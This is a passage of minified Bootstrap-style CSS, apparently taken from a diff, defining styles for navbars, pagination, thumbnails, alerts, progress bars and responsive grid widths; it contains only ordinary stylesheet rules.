#ffffff;background-color:#ffffff;border:0;-webkit-box-shadow:0 0 3px rgba(0, 0, 0, 0.15);-moz-box-shadow:0 0 3px rgba(0, 0, 0, 0.15);box-shadow:0 0 3px rgba(0, 0, 0, 0.15);outline:0;} +.navbar-inverse .btn-navbar{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#0e0e0e;background-image:-moz-linear-gradient(top, #151515, #040404);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#151515), to(#040404));background-image:-webkit-linear-gradient(top, #151515, #040404);background-image:-o-linear-gradient(top, #151515, #040404);background-image:linear-gradient(to bottom, #151515, #040404);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff151515', endColorstr='#ff040404', GradientType=0);border-color:#040404 #040404 #000000;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);*background-color:#040404;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.navbar-inverse .btn-navbar:hover,.navbar-inverse .btn-navbar:active,.navbar-inverse .btn-navbar.active,.navbar-inverse .btn-navbar.disabled,.navbar-inverse .btn-navbar[disabled]{color:#ffffff;background-color:#040404;*background-color:#000000;} +.navbar-inverse .btn-navbar:active,.navbar-inverse .btn-navbar.active{background-color:#000000 \9;} +.breadcrumb{padding:8px 15px;margin:0 0 20px;list-style:none;background-color:#f5f5f5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}.breadcrumb>li{display:inline-block;*display:inline;*zoom:1;text-shadow:0 1px 0 #ffffff;}.breadcrumb>li>.divider{padding:0 5px;color:#ccc;} +.breadcrumb>.active{color:#999999;} +.pagination{margin:20px 0;} +.pagination ul{display:inline-block;*display:inline;*zoom:1;margin-left:0;margin-bottom:0;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);} +.pagination ul>li{display:inline;} +.pagination ul>li>a,.pagination ul>li>span{float:left;padding:4px 12px;line-height:20px;text-decoration:none;background-color:#ffffff;border:1px solid #dddddd;border-left-width:0;} +.pagination ul>li>a:hover,.pagination ul>.active>a,.pagination ul>.active>span{background-color:#f5f5f5;} +.pagination ul>.active>a,.pagination ul>.active>span{color:#999999;cursor:default;} +.pagination ul>.disabled>span,.pagination ul>.disabled>a,.pagination ul>.disabled>a:hover{color:#999999;background-color:transparent;cursor:default;} +.pagination ul>li:first-child>a,.pagination ul>li:first-child>span{border-left-width:1px;-webkit-border-top-left-radius:4px;-moz-border-radius-topleft:4px;border-top-left-radius:4px;-webkit-border-bottom-left-radius:4px;-moz-border-radius-bottomleft:4px;border-bottom-left-radius:4px;} +.pagination ul>li:last-child>a,.pagination ul>li:last-child>span{-webkit-border-top-right-radius:4px;-moz-border-radius-topright:4px;border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;-moz-border-radius-bottomright:4px;border-bottom-right-radius:4px;} +.pagination-centered{text-align:center;} +.pagination-right{text-align:right;} +.pagination-large ul>li>a,.pagination-large ul>li>span{padding:11px 19px;font-size:17.5px;} +.pagination-large ul>li:first-child>a,.pagination-large ul>li:first-child>span{-webkit-border-top-left-radius:6px;-moz-border-radius-topleft:6px;border-top-left-radius:6px;-webkit-border-bottom-left-radius:6px;-moz-border-radius-bottomleft:6px;border-bottom-left-radius:6px;} +.pagination-large ul>li:last-child>a,.pagination-large ul>li:last-child>span{-webkit-border-top-right-radius:6px;-moz-border-radius-topright:6px;border-top-right-radius:6px;-webkit-border-bottom-right-radius:6px;-moz-border-radius-bottomright:6px;border-bottom-right-radius:6px;} +.pagination-mini ul>li:first-child>a,.pagination-small ul>li:first-child>a,.pagination-mini ul>li:first-child>span,.pagination-small ul>li:first-child>span{-webkit-border-top-left-radius:3px;-moz-border-radius-topleft:3px;border-top-left-radius:3px;-webkit-border-bottom-left-radius:3px;-moz-border-radius-bottomleft:3px;border-bottom-left-radius:3px;} +.pagination-mini ul>li:last-child>a,.pagination-small ul>li:last-child>a,.pagination-mini ul>li:last-child>span,.pagination-small ul>li:last-child>span{-webkit-border-top-right-radius:3px;-moz-border-radius-topright:3px;border-top-right-radius:3px;-webkit-border-bottom-right-radius:3px;-moz-border-radius-bottomright:3px;border-bottom-right-radius:3px;} +.pagination-small ul>li>a,.pagination-small ul>li>span{padding:2px 10px;font-size:11.9px;} +.pagination-mini ul>li>a,.pagination-mini ul>li>span{padding:0 6px;font-size:10.5px;} +.pager{margin:20px 0;list-style:none;text-align:center;*zoom:1;}.pager:before,.pager:after{display:table;content:"";line-height:0;} +.pager:after{clear:both;} +.pager li{display:inline;} +.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px;} +.pager li>a:hover{text-decoration:none;background-color:#f5f5f5;} +.pager .next>a,.pager .next>span{float:right;} +.pager .previous>a,.pager .previous>span{float:left;} +.pager .disabled>a,.pager .disabled>a:hover,.pager .disabled>span{color:#999999;background-color:#fff;cursor:default;} +.thumbnails{margin-left:-20px;list-style:none;*zoom:1;}.thumbnails:before,.thumbnails:after{display:table;content:"";line-height:0;} +.thumbnails:after{clear:both;} +.row-fluid .thumbnails{margin-left:0;} +.thumbnails>li{float:left;margin-bottom:20px;margin-left:20px;} +.thumbnail{display:block;padding:4px;line-height:20px;border:1px solid #ddd;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 3px rgba(0, 0, 0, 0.055);-moz-box-shadow:0 1px 3px rgba(0, 0, 0, 0.055);box-shadow:0 1px 3px rgba(0, 0, 0, 0.055);-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;} +a.thumbnail:hover{border-color:#0088cc;-webkit-box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);-moz-box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);} +.thumbnail>img{display:block;max-width:100%;margin-left:auto;margin-right:auto;} +.thumbnail .caption{padding:9px;color:#555555;} +.alert{padding:8px 35px 8px 14px;margin-bottom:20px;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);background-color:#fcf8e3;border:1px solid #fbeed5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;} +.alert,.alert h4{color:#c09853;} +.alert h4{margin:0;} +.alert .close{position:relative;top:-2px;right:-21px;line-height:20px;} +.alert-success{background-color:#dff0d8;border-color:#d6e9c6;color:#468847;} +.alert-success h4{color:#468847;} +.alert-danger,.alert-error{background-color:#f2dede;border-color:#eed3d7;color:#b94a48;} +.alert-danger h4,.alert-error h4{color:#b94a48;} +.alert-info{background-color:#d9edf7;border-color:#bce8f1;color:#3a87ad;} +.alert-info h4{color:#3a87ad;} +.alert-block{padding-top:14px;padding-bottom:14px;} +.alert-block>p,.alert-block>ul{margin-bottom:0;} +.alert-block p+p{margin-top:5px;} +@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0;} to{background-position:0 0;}}@-moz-keyframes progress-bar-stripes{from{background-position:40px 0;} to{background-position:0 0;}}@-ms-keyframes progress-bar-stripes{from{background-position:40px 0;} to{background-position:0 0;}}@-o-keyframes progress-bar-stripes{from{background-position:0 0;} to{background-position:40px 0;}}@keyframes progress-bar-stripes{from{background-position:40px 0;} to{background-position:0 0;}}.progress{overflow:hidden;height:20px;margin-bottom:20px;background-color:#f7f7f7;background-image:-moz-linear-gradient(top, #f5f5f5, #f9f9f9);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f9f9f9));background-image:-webkit-linear-gradient(top, #f5f5f5, #f9f9f9);background-image:-o-linear-gradient(top, #f5f5f5, #f9f9f9);background-image:linear-gradient(to bottom, #f5f5f5, #f9f9f9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#fff9f9f9', GradientType=0);-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;} +.progress .bar{width:0%;height:100%;color:#ffffff;float:left;font-size:12px;text-align:center;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#0e90d2;background-image:-moz-linear-gradient(top, #149bdf, #0480be);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#149bdf), to(#0480be));background-image:-webkit-linear-gradient(top, #149bdf, #0480be);background-image:-o-linear-gradient(top, #149bdf, #0480be);background-image:linear-gradient(to bottom, #149bdf, #0480be);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff149bdf', endColorstr='#ff0480be', GradientType=0);-webkit-box-shadow:inset 0 -1px 0 rgba(0, 0, 0, 0.15);-moz-box-shadow:inset 0 -1px 0 rgba(0, 0, 0, 0.15);box-shadow:inset 0 -1px 0 rgba(0, 0, 0, 0.15);-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:width 0.6s ease;-moz-transition:width 0.6s ease;-o-transition:width 0.6s ease;transition:width 0.6s ease;} +.progress .bar+.bar{-webkit-box-shadow:inset 1px 0 0 rgba(0,0,0,.15), inset 0 -1px 0 rgba(0,0,0,.15);-moz-box-shadow:inset 1px 0 0 rgba(0,0,0,.15), inset 0 -1px 0 rgba(0,0,0,.15);box-shadow:inset 1px 0 0 rgba(0,0,0,.15), inset 0 -1px 0 rgba(0,0,0,.15);} +.progress-striped .bar{background-color:#149bdf;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);-webkit-background-size:40px 40px;-moz-background-size:40px 40px;-o-background-size:40px 40px;background-size:40px 40px;} +.progress.active .bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-moz-animation:progress-bar-stripes 2s linear infinite;-ms-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite;} +.progress-danger .bar,.progress .bar-danger{background-color:#dd514c;background-image:-moz-linear-gradient(top, #ee5f5b, #c43c35);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#c43c35));background-image:-webkit-linear-gradient(top, #ee5f5b, #c43c35);background-image:-o-linear-gradient(top, #ee5f5b, #c43c35);background-image:linear-gradient(to bottom, #ee5f5b, #c43c35);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffee5f5b', endColorstr='#ffc43c35', GradientType=0);} +.progress-danger.progress-striped .bar,.progress-striped .bar-danger{background-color:#ee5f5b;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);} +.progress-success .bar,.progress .bar-success{background-color:#5eb95e;background-image:-moz-linear-gradient(top, #62c462, #57a957);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#57a957));background-image:-webkit-linear-gradient(top, #62c462, #57a957);background-image:-o-linear-gradient(top, #62c462, #57a957);background-image:linear-gradient(to bottom, #62c462, #57a957);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff62c462', endColorstr='#ff57a957', GradientType=0);} +.progress-success.progress-striped .bar,.progress-striped .bar-success{background-color:#62c462;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);} +.progress-info .bar,.progress .bar-info{background-color:#4bb1cf;background-image:-moz-linear-gradient(top, #5bc0de, #339bb9);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#339bb9));background-image:-webkit-linear-gradient(top, #5bc0de, #339bb9);background-image:-o-linear-gradient(top, #5bc0de, #339bb9);background-image:linear-gradient(to bottom, #5bc0de, #339bb9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff339bb9', GradientType=0);} +.progress-info.progress-striped .bar,.progress-striped .bar-info{background-color:#5bc0de;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);} +.progress-warning .bar,.progress .bar-warning{background-color:#faa732;background-image:-moz-linear-gradient(top, #fbb450, #f89406);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));background-image:-webkit-linear-gradient(top, #fbb450, #f89406);background-image:-o-linear-gradient(top, #fbb450, #f89406);background-image:linear-gradient(to bottom, #fbb450, #f89406);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffbb450', endColorstr='#fff89406', GradientType=0);} +.progress-warning.progress-striped .bar,.progress-striped .bar-warning{background-color:#fbb450;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);} +.hero-unit{padding:60px;margin-bottom:30px;font-size:18px;font-weight:200;line-height:30px;color:inherit;background-color:#eeeeee;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;}.hero-unit h1{margin-bottom:0;font-size:60px;line-height:1;color:inherit;letter-spacing:-1px;} +.hero-unit li{line-height:30px;} +.media,.media-body{overflow:hidden;*overflow:visible;zoom:1;} +.media,.media .media{margin-top:15px;} +.media:first-child{margin-top:0;} +.media-object{display:block;} +.media-heading{margin:0 0 5px;} +.media .pull-left{margin-right:10px;} +.media .pull-right{margin-left:10px;} +.media-list{margin-left:0;list-style:none;} +.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);}.well blockquote{border-color:#ddd;border-color:rgba(0, 0, 0, 0.15);} +.well-large{padding:24px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;} +.well-small{padding:9px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;} +.close{float:right;font-size:20px;font-weight:bold;line-height:20px;color:#000000;text-shadow:0 1px 0 #ffffff;opacity:0.2;filter:alpha(opacity=20);}.close:hover{color:#000000;text-decoration:none;cursor:pointer;opacity:0.4;filter:alpha(opacity=40);} +button.close{padding:0;cursor:pointer;background:transparent;border:0;-webkit-appearance:none;} +.pull-right{float:right;} +.pull-left{float:left;} +.hide{display:none;} +.show{display:block;} +.invisible{visibility:hidden;} +.affix{position:fixed;} +.fade{opacity:0;-webkit-transition:opacity 0.15s linear;-moz-transition:opacity 0.15s linear;-o-transition:opacity 0.15s linear;transition:opacity 0.15s linear;}.fade.in{opacity:1;} +.collapse{position:relative;height:0;overflow:hidden;-webkit-transition:height 0.35s ease;-moz-transition:height 0.35s ease;-o-transition:height 0.35s ease;transition:height 0.35s ease;}.collapse.in{height:auto;} +.hidden{display:none;visibility:hidden;} +.visible-phone{display:none !important;} +.visible-tablet{display:none !important;} +.hidden-desktop{display:none !important;} +.visible-desktop{display:inherit !important;} +@media (min-width:768px) and (max-width:979px){.hidden-desktop{display:inherit !important;} .visible-desktop{display:none !important ;} .visible-tablet{display:inherit !important;} .hidden-tablet{display:none !important;}}@media (max-width:767px){.hidden-desktop{display:inherit !important;} .visible-desktop{display:none !important;} .visible-phone{display:inherit !important;} .hidden-phone{display:none !important;}}@media (max-width:767px){body{padding-left:20px;padding-right:20px;} .navbar-fixed-top,.navbar-fixed-bottom,.navbar-static-top{margin-left:-20px;margin-right:-20px;} .container-fluid{padding:0;} .dl-horizontal dt{float:none;clear:none;width:auto;text-align:left;} .dl-horizontal dd{margin-left:0;} .container{width:auto;} .row-fluid{width:100%;} .row,.thumbnails{margin-left:0;} .thumbnails>li{float:none;margin-left:0;} [class*="span"],.uneditable-input[class*="span"],.row-fluid [class*="span"]{float:none;display:block;width:100%;margin-left:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;} .span12,.row-fluid .span12{width:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;} .row-fluid [class*="offset"]:first-child{margin-left:0;} .input-large,.input-xlarge,.input-xxlarge,input[class*="span"],select[class*="span"],textarea[class*="span"],.uneditable-input{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;} .input-prepend input,.input-append input,.input-prepend input[class*="span"],.input-append input[class*="span"]{display:inline-block;width:auto;} .controls-row [class*="span"]+[class*="span"]{margin-left:0;} .modal{position:fixed;top:20px;left:20px;right:20px;width:auto;margin:0;}.modal.fade{top:-100px;} .modal.fade.in{top:20px;}}@media (max-width:480px){.nav-collapse{-webkit-transform:translate3d(0, 0, 0);} .page-header h1 small{display:block;line-height:20px;} input[type="checkbox"],input[type="radio"]{border:1px solid #ccc;} .form-horizontal .control-label{float:none;width:auto;padding-top:0;text-align:left;} .form-horizontal .controls{margin-left:0;} .form-horizontal .control-list{padding-top:0;} .form-horizontal .form-actions{padding-left:10px;padding-right:10px;} .media .pull-left,.media .pull-right{float:none;display:block;margin-bottom:10px;} .media-object{margin-right:0;margin-left:0;} .modal{top:10px;left:10px;right:10px;} .modal-header .close{padding:10px;margin:-10px;} .carousel-caption{position:static;}}@media (min-width:768px) and (max-width:979px){.row{margin-left:-20px;*zoom:1;}.row:before,.row:after{display:table;content:"";line-height:0;} .row:after{clear:both;} [class*="span"]{float:left;min-height:1px;margin-left:20px;} .container,.navbar-static-top .container,.navbar-fixed-top .container,.navbar-fixed-bottom .container{width:724px;} .span12{width:724px;} .span11{width:662px;} .span10{width:600px;} .span9{width:538px;} .span8{width:476px;} .span7{width:414px;} .span6{width:352px;} .span5{width:290px;} .span4{width:228px;} .span3{width:166px;} .span2{width:104px;} .span1{width:42px;} .offset12{margin-left:764px;} .offset11{margin-left:702px;} .offset10{margin-left:640px;} .offset9{margin-left:578px;} .offset8{margin-left:516px;} .offset7{margin-left:454px;} .offset6{margin-left:392px;} .offset5{margin-left:330px;} .offset4{margin-left:268px;} .offset3{margin-left:206px;} .offset2{margin-left:144px;} .offset1{margin-left:82px;} .row-fluid{width:100%;*zoom:1;}.row-fluid:before,.row-fluid:after{display:table;content:"";line-height:0;} .row-fluid:after{clear:both;} .row-fluid [class*="span"]{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;float:left;margin-left:2.7624309392265194%;*margin-left:2.709239449864817%;} .row-fluid [class*="span"]:first-child{margin-left:0;} .row-fluid .controls-row [class*="span"]+[class*="span"]{margin-left:2.7624309392265194%;} .row-fluid .span12{width:100%;*width:99.94680851063829%;} .row-fluid .span11{width:91.43646408839778%;*width:91.38327259903608%;} .row-fluid .span10{width:82.87292817679558%;*width:82.81973668743387%;} .row-fluid .span9{width:74.30939226519337%;*width:74.25620077583166%;} .row-fluid .span8{width:65.74585635359117%;*width:65.69266486422946%;} .row-fluid .span7{width:57.18232044198895%;*width:57.12912895262725%;} .row-fluid .span6{width:48.61878453038674%;*width:48.56559304102504%;} .row-fluid .span5{width:40.05524861878453%;*width:40.00205712942283%;} .row-fluid .span4{width:31.491712707182323%;*width:31.43852121782062%;} .row-fluid .span3{width:22.92817679558011%;*width:22.87498530621841%;} .row-fluid .span2{width:14.3646408839779%;*width:14.311449394616199%;} .row-fluid .span1{width:5.801104972375691%;*width:5.747913483013988%;} .row-fluid .offset12{margin-left:105.52486187845304%;*margin-left:105.41847889972962%;} .row-fluid .offset12:first-child{margin-left:102.76243093922652%;*margin-left:102.6560479605031%;} .row-fluid .offset11{margin-left:96.96132596685082%;*margin-left:96.8549429881274%;} .row-fluid .offset11:first-child{margin-left:94.1988950276243%;*margin-left:94.09251204890089%;} .row-fluid .offset10{margin-left:88.39779005524862%;*margin-left:88.2914070765252%;} .row-fluid .offset10:first-child{margin-left:85.6353591160221%;*margin-left:85.52897613729868%;} .row-fluid .offset9{margin-left:79.8342541436464%;*margin-left:79.72787116492299%;} .row-fluid .offset9:first-child{margin-left:77.07182320441989%;*margin-left:76.96544022569647%;} .row-fluid .offset8{margin-left:71.2707182320442%;*margin-left:71.16433525332079%;} .row-fluid .offset8:first-child{margin-left:68.50828729281768%;*margin-left:68.40190431409427%;} .row-fluid .offset7{margin-left:62.70718232044199%;*margin-left:62.600799341718584%;} .row-fluid .offset7:first-child{margin-left:59.94475138121547%;*margin-left:59.838368402492065%;} .row-fluid .offset6{margin-left:54.14364640883978%;*margin-left:54.037263430116376%;} .row-fluid .offset6:first-child{margin-left:51.38121546961326%;*margin-left:51.27483249088986%;} .row-fluid .offset5{margin-left:45.58011049723757%;*margin-left:45.47372751851417%;} .row-fluid .offset5:first-child{margin-left:42.81767955801105%;*margin-left:42.71129657928765%;} .row-fluid .offset4{margin-left:37.01657458563536%;*margin-left:36.91019160691196%;} .row-fluid .offset4:first-child{margin-left:34.25414364640884%;*margin-left:34.14776066768544%;} .row-fluid .offset3{margin-left:28.45303867403315%;*margin-left:28.346655695309746%;} .row-fluid .offset3:first-child{margin-left:25.69060773480663%;*margin-left:25.584224756083227%;} .row-fluid .offset2{margin-left:19.88950276243094%;*margin-left:19.783119783707537%;} .row-fluid .offset2:first-child{margin-left:17.12707182320442%;*margin-left:17.02068884448102%;} .row-fluid .offset1{margin-left:11.32596685082873%;*margin-left:11.219583872105325%;} .row-fluid .offset1:first-child{margin-left:8.56353591160221%;*margin-left:8.457152932878806%;} input,textarea,.uneditable-input{margin-left:0;} .controls-row [class*="span"]+[class*="span"]{margin-left:20px;} input.span12, textarea.span12, .uneditable-input.span12{width:710px;} input.span11, textarea.span11, .uneditable-input.span11{width:648px;} input.span10, textarea.span10, .uneditable-input.span10{width:586px;} input.span9, textarea.span9, .uneditable-input.span9{width:524px;} input.span8, textarea.span8, .uneditable-input.span8{width:462px;} input.span7, textarea.span7, .uneditable-input.span7{width:400px;} input.span6, textarea.span6, .uneditable-input.span6{width:338px;} input.span5, textarea.span5, .uneditable-input.span5{width:276px;} input.span4, textarea.span4, .uneditable-input.span4{width:214px;} input.span3, textarea.span3, .uneditable-input.span3{width:152px;} input.span2, textarea.span2, .uneditable-input.span2{width:90px;} input.span1, textarea.span1, .uneditable-input.span1{width:28px;}}@media (min-width:1200px){.row{margin-left:-30px;*zoom:1;}.row:before,.row:after{display:table;content:"";line-height:0;} .row:after{clear:both;} [class*="span"]{float:left;min-height:1px;margin-left:30px;} .container,.navbar-static-top .container,.navbar-fixed-top .container,.navbar-fixed-bottom .container{width:1170px;} .span12{width:1170px;} .span11{width:1070px;} .span10{width:970px;} .span9{width:870px;} .span8{width:770px;} .span7{width:670px;} .span6{width:570px;} .span5{width:470px;} .span4{width:370px;} .span3{width:270px;} .span2{width:170px;} .span1{width:70px;} .offset12{margin-left:1230px;} .offset11{margin-left:1130px;} .offset10{margin-left:1030px;} .offset9{margin-left:930px;} .offset8{margin-left:830px;} .offset7{margin-left:730px;} .offset6{margin-left:630px;} .offset5{margin-left:530px;} .offset4{margin-left:430px;} .offset3{margin-left:330px;} .offset2{margin-left:230px;} .offset1{margin-left:130px;} .row-fluid{width:100%;*zoom:1;}.row-fluid:before,.row-fluid:after{display:table;content:"";line-height:0;} .row-fluid:after{clear:both;} .row-fluid [class*="span"]{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;float:left;margin-left:2.564102564102564%;*margin-left:2.5109110747408616%;} .row-fluid [class*="span"]:first-child{margin-left:0;} .row-fluid .controls-row [class*="span"]+[class*="span"]{margin-left:2.564102564102564%;} .row-fluid .span12{width:100%;*width:99.94680851063829%;} .row-fluid .span11{width:91.45299145299145%;*width:91.39979996362975%;} .row-fluid .span10{width:82.90598290598291%;*width:82.8527914166212%;} .row-fluid .span9{width:74.35897435897436%;*width:74.30578286961266%;} .row-fluid .span8{width:65.81196581196582%;*width:65.75877432260411%;} .row-fluid .span7{width:57.26495726495726%;*width:57.21176577559556%;} .row-fluid .span6{width:48.717948717948715%;*width:48.664757228587014%;} .row-fluid 